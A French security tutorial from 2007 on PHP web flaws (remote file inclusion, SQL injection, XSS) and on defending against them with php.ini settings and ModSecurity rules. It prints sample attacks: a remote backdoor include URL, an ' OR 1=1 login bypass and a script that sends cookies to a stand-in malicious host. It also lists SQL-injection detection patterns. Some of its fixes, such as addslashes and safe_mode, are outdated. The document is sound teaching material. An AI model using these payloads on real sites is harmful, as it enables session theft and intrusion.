Beauquin Gaël
CNRS/UREC
05/04/2007
v1.2

Vulnérabilités Web sur PHP

Introduction

Ce document a pour but de présenter les différents types d'attaques rencontrés sur des sites web. En effet, le web est maintenant omniprésent dans notre vie de tous les jours. Afin d'offrir plus de fonctionnalités et de contenus, les sites se doivent d'être dynamique, et PHP est le langage le plus populaire pour y parvenir. Toutefois, cela tend à rendre les sites moins sécurisés, et chaque jour, des sites sont attaqués avec succès. Voyons un peu les grandes failles qui existent dans les applications web et les serveurs.

I. Point de vue du programmeur

Développer ses propres scripts PHP parait aisé, le langage étant relativement simple à appréhender. Toutefois, comme dans toute programmation, il convient de garder un esprit rigoureux dans la structure, et d'éviter des pièges dans lesquelles les programmeurs PHP ne tombent que trop souvent.

a) Faille PHP : include( )

La fonction PHP include( ) est couramment utilisée lors de la programmation de sites web. Elle permet d'inclure et d'exécuter un script PHP dans un autre script, ce qui permet de créer des bouts de codes qui sont réutilisables dans l'application.

Exemple : http://serveur.test/index.php?page=menu.php qui affiche la page d'accueil et qui va inclure avec include( ) la page à afficher, ici menu.php.

Le paramètre étant passé via l'URL, un individu mal intentionné peut passer des paramètres arbitraires. Le comportement par défaut de PHP est d'accepter les URLs comme nom de fichier valide. Par conséquent, il est possible d'inclure et d'exécuter sur un serveur cible un script malveillant hébergé sur un serveur complice.

Exemple : http://serveur.test/index.php?page=http://serveur.complice/backdoor.php fera exécuter le script backdoor.php sur le serveur cible.

Pour se prémunir de cela, on va changer le paramètre qui par défaut autorise à utiliser les URL comme nom de fichier. Dans php.ini, on met allow_url_fopen à 0. Ainsi, il est impossible de forcer PHP à aller chercher des fichiers distants. Toutefois, il reste possible d'accéder à des fichiers locaux, dont des fichiers de configuration.

Pour cela, il existe la directive safe_mode à activer dans le php.ini. Elle permet entre autres de limiter les accès aux fichiers fait par les scripts php. Avec le safe_mode activé, un script PHP ne

pourra accéder à un fichier que si le propriétaire du fichier est le même que le propriétaire du script. Il est possible avec l'option safe_mode_include_dir de préciser un répertoire où des fichiers pourront être inclus même si le propriétaire du fichier est différent du propriétaire du script.

b) Faille PHP : injection SQL

PHP est souvent utilisé conjointement avec une base de données SQL pour générer des sites dynamiques, MySQL étant la plus populaire des bases de données. Typiquement, l'utilisateur rentre des données, le script PHP les inclus dans une requête SQL, et effectue des actions en fonction des résultats de la requête. Pour notre exemple, on va prendre un cas d'authentification d'utilisateur via login/mot de passe.

Via une page HTML et un formulaire, on demande à l'utilisateur un login et un mot de passe, qui sont passés en paramètre au script PHP responsable de l'authentification. La requête générée ressemblement à

```
$req = "SELECT id FROM users WHERE login='$login' AND password='$pass'";
```

Ainsi, si le couple login/mot de passe est correct, alors la requêtre renverra l'id de l'utilisateur, sinon, rien. Le problème étant une fois de plus le fait que l'utilisateur peut rentrer n'importe quel paramètre. Imaginons que pour login et mot de passe, il rentre la chaine ' OR 1=1

La requête SQL a alors le format suivant

```
$req = "SELECT id FROM users WHERE login='' OR 1=1 AND password='' OR 1=1";
```

Et dans ce cas, la requête renverra tous les id, et typiquement le 1er renvoyé sera pris en compte par le script, l'id 1 donc. Qui correspond souvent à celui de l'administrateur. Cela permet donc à n'importe qui de se connecter.

Ceci n'est qu'un modeste exemple des possibilités offertes par l'injection SQL. Dans tous les cas, il faut filtrer les entrées utilisateurs. Pour cela, on peut utiliser la fonction addslashes() pour ajouter un caractère d'échappement aux apostrophes (et à tous les autres caractères pouvant poser problème), et ainsi les forcer à être considérées comme des caractères normaux. L'utilisation de la fonction is_numeric( ) permettra de vérifier qu'une entrée est bien un nombre normal, et non une chaîne de caractère forgée par un pirate.

c) Faille web : Cross Site Scripting

Il est fréquent pour un script de demander une valeur à un utilisateur, et il est non moins fréquent pour le script d'inclure la valeur entrée dans la page générée. Un exemple basique pourra être une invite du type "Entrez votre nom :" pour afficher un message du type "Bienvenue, XXXXX" en haut de la page. Un autre exemple, plus concret, est le cas du moteur de recherche auquel on passe un critère de recherche, et qui va inclure le critère de recherche dans la page des résultats.

Exemple :

http://www.google.fr/search?q=test

Dans la page de résultats, on retrouve:

Résultats **1** - **10** sur un total d'environ **926 000 000** pour **test**. (**0,04** secondes)

Afficher la valeur d'une entrée de l'utilisateur ouvre la porte à de possibles attaques. Cross Site Scripting, aussi connu sous le nom de XSS (l'accronyme CSS étant déjà utilisé par Cascading Style Sheet), est une faille potentielle qui existe sur les sites web qui renvoient à l'utilisateur le contenu d'un paramètre.

Comme vu ci-dessus, on passe au script le texte à rechercher. Maintenant, que se passe-t-il quand au lieu d'une simple chaine de caractère, on passe en paramètre du code HTML ? Le code HTML sera inclus dans la page des résultats, et donc exécuté par le navigateur. Le souci est qu'il est notamment possible d'inclure du code JavaScript, et ainsi de forcer la victime à exécuter un code JS malicieux.

Par exemple (si google était un serveur vulnérable à cette attaque), l'URL

http://www.google.fr/search?q=<script src="http://serveur.malicieux.com/script.js"></script>

Ferait exécuter script.js sur l'ordinateur victime. Une utilisation populaire de cette faille est la récupération de cookies, qui peut éventuellement permettre de "voler" une session d'authentification afin d'usurper la victime.

Par exemple avec un script du genre :

```
<script>
document.write(
'<img src="http://serveur.malicieux.com/bug.gif?' +
'location=' + document.location +
'&cookie=' + document.cookie +
' ">');
</script>
```

Notre serveur recevra une requête pour une image, et dans l'URL on retrouvera l'adresse de la page et le cookie associé. Il ne reste plus qu'à fouiller dans les logs du serveur malicieux pour partir à la pêche aux cookies.

Pour se protéger du XSS, le principe est le même que pour les autres failles : il faut stériliser les entrées utilisateurs. Par exemple, remplacer dans la page de résultats le caractère < par la chaine &amplt; qui est affichée comme le caractère < mais non interprété comme telle. Tout dépend de l'utilisation du paramètre, et des résultats qu'elle est sensée fournir. C'est donc au développeur de réfléchir sur le filtrage des entrées utilisateur en fonction de l'application.

En conclusion, la règle d'or pour un programmeur est de ne jamais faire confiance à l'utilisateur, et de filtrer les entrées de données pour s'assurer qu'elles ne puissent nuire au serveur.

II. Point de vue de l'administrateur

a) Conseils généraux

De nombreux logiciels PHP sont disponibles gratuitement sur Internet pour toutes sortes d'application, pourquoi vouloir réinventer la roue ? Attention, car ces applications ne sont pas exempts de bugs, bien au contraire. Et il est important que ces applications fassent l'objet d'une surveillance.

Tout d'abord, parce que des failles sont régulièrement découvertes dans les logiciels (plus un produit est populaire, plus il aura l'attention de pirates), et qu'il faut donc être très rigoureux dans la mise à jour et dans l'application d'éventuelles corrections. Et ensuite, parce que n'importe quelle personne pouvant déposer des fichiers sur un serveur web peut installer une application PHP (sous réserve que le serveur web supporte PHP, bien évidemment). Enfin, parce qu'il est possible d'installer une application PHP pour un besoin provisoire (par exemple un événement), et d'oublier de désinstaller après. On a donc un programme qui dort sur le serveur, qui ne sera pas mis à jour, et qui sera libre d'être exploité si il contenait une faille.

Concrètement, chaque semaine voit son lot de failles PHP découvertes, et les applications populaires sont les plus ciblées.

L'application n'est pas le seul point faible lors d'une attaque. En effet, l'interpréteur PHP est lui-même un logiciel, et donc il peut lui aussi avoir des failles de sécurité permettant de compromettre un serveur. Il faut donc également tenir à jour la version de l'interpréteur PHP, car chaque version corrige des problèmes. Pour se faire une idée, il suffit de regarder le résumé des annonces de chaque version, sur http://www.php.net/releases/

Exemple avec un extrait de l'annonce de la dernière version 5.2.0 :

Security Enhancements and Fixes in PHP 5.2.0:

- *Made PostgreSQL escaping functions in PostgreSQL and PDO extension keep track of character set encoding whenever possible.*
- *Added allow_url_include, set to Off by default to disallow use of URLs for include and require.*
- *Disable realpath cache when open_basedir and safe_mode are being used.*
- *Improved safe_mode enforcement for error_log() function.*
- *Fixed a possible buffer overflow in the underlying code responsible for htmlspecialchars() and htmlentities() functions.*
- *Added missing safe_mode and open_basedir checks for the cURL extension.*
- *Fixed overflow in str_repeat() & wordwrap() functions on 64bit machines.*
- *Fixed handling of long paths inside the tempnam() function.*
- *Fixed safe_mode/open_basedir checks for session.save_path, allowing them to account for extra parameters.*
- *Fixed ini setting overload in the ini_restore() function.*

Pour se tenir au courant des mises à jour de PHP, il est possible de s'inscrire à une liste de diffusion qui annonce la disponibilité d'une nouvelle version sur http://www.php.net/mailing-lists.php

b) Utilisation de ModSecurity

Qu'est-ce que ModSecurity ? Il s'agit d'un module pour le serveur web Apache 2, développé par Breach, société spécialisée dans les solutions de sécurité Internet, et disponible gratuitement en OpenSource. Il fonctionne comme pare-feu spécialisé au niveau du serveur web. Concrètement, il peut analyser les requêtes HTTP envoyées au serveur, et les filtrer et/ou les logger en fonction d'un fichier de règles paramétrables. Il permet donc de stopper des requêtes suspectes avant même qu'elles n'atteignent une application PHP.

Le site de ModSecurity se trouve à http://www.modsecurity.org/, et un ensemble de règles basiques est fourni pour donner une base de départ. Entre autres, le fichier modsecurity-general.conf contient des règles destinées à filtrer les attaques vu ci-dessus. Il faut savoir que par défaut, beaucoup de choses sont loggés, mais pas bloqués. Ceci, afin d'éviter que la mise en place des règles entraine un éventuel disfonctionnement des applications installées. Charge à l'administrateur d'analyser les logs pour pouvoir affiner les règles en fonction du comportement normal du serveur. Les requêtes ne correspondant à aucune règle sont également acceptées par défaut.

Analysons par exemple la règle pour protéger le serveur des injections SQL :

```
SecFilterSignatureAction "log,pass,msg:'SQL Injection attack'"

# Generic
SecFilterSelective ARGS "delete[[:space:]]+from"
SecFilterSelective ARGS "drop[[:space:]]+database"
SecFilterSelective ARGS "drop[[:space:]]+table"
SecFilterSelective ARGS "drop[[:space:]]+column"
SecFilterSelective ARGS "drop[[:space:]]+procedure"
SecFilterSelective ARGS "create[[:space:]]+table"
SecFilterSelective ARGS "update.+set.+="
SecFilterSelective ARGS "insert[[:space:]]+into.+values"
SecFilterSelective ARGS "select.+from"
SecFilterSelective ARGS "bulk[[:space:]]+insert"
SecFilterSelective ARGS "union.+select"
SecFilterSelective ARGS "or.+1[[:space:]]*=[[:space:]]1"
SecFilterSelective ARGS "alter[[:space:]]+table"
SecFilterSelective ARGS "or 1=1--'"
SecFilterSelective ARGS "'.+--"
```

La directive "log" est assez explicite, il est possible d'indiquer "nolog" pour ne rien écrire dans les journaux. Ce n'est bien évidemment pas conseillé. "pass" indique que si une requête correspond à un des critères, aucune action spéciale ne sera faite sur la requête, et ModSecurity continuera de lire le fichier en attendant de trouver une règle indiquant si la requête doit être acceptée ou refusée. On peut également utiliser "allow" pour que la requête soit acceptée sur le champ, "deny" pour refuser la requête et renvoyer un message d'erreur, ou "drop", pour couper brutalement la connection TCP. La directive "msg" permet de rajouter un message dans les logs, rendant aisée la navigation.

Les requêtes SQL provenant directement d'un script PHP ne passent pas par ModSecurity et ne généreront pas d'entrées inutiles dans les log.

ModSecurity est donc un module très utile dans le cadre de la sécurisation d'un serveur web et des applications tournant dessus. Toutefois, il faut être conscient qu'il est nécessaire de passer un certain

temps à l'analyse des logs et à l'affinage des règles pour un résultat optimal. Dans l'idéal, il faut que toutes les requêtes potentiellement néfastes puissent être bloquées sans entraver la bonne marche des applications légitimes (réduire le taux de faux positifs à 0).

De plus, il ne doit pas être considéré comme la protection ultime, il n'est pas impossible que des pirates parviennent à le contourner. La sécurité web doit être abordée avec la même logique que la sécurité réseau, un pare-feu IP n'est pas non plus la solution à tous les problèmes réseaux.